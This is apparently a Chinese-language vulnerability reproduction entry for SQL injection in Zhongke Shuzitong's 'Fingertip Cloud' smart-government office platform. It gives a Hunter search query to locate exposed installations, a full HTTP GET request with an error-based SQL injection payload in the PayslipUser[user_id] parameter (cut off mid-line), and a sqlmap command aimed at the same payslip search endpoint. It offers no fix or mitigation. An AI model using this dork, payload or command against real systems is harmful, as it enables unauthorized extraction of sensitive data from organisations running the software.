S7-1数字通-指尖云平台-智慧政务-SQL

漏洞描述：

中科数字通（北京）科技有限公司全新架构的智慧办公系统，由9大类、50多个主要功能模块构成。旨在为组织单位内部提供全新一代智慧型协同办公系统，数字通指尖云平台-智慧政务存在SQL注入漏洞，可通过SQL注入可获取敏感信息。

网站图片：

网络测绘：

Hunter 语法：

- hunterapp.name="中科数字通 "

漏洞复现：

payload：

```
GET /payslip/search/index/userid/time/time?PayslipUser[user_id]=(SELECT 4050 FROM(SELECT COUNT(*),CONCAT((mid((ifnull(cast(current_user() as nchar),0x20)),1,54)),FLOOR(R
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: GOASESSID=i589f58naalabocmbidup7edl3
Upgrade-Insecure-Requests: 1
```

效果图:

```
sqlmap -u "http://xx.xx.xx.xx/payslip/search/index/userid/time/time?PayslipUser[user_id]=" --batch
```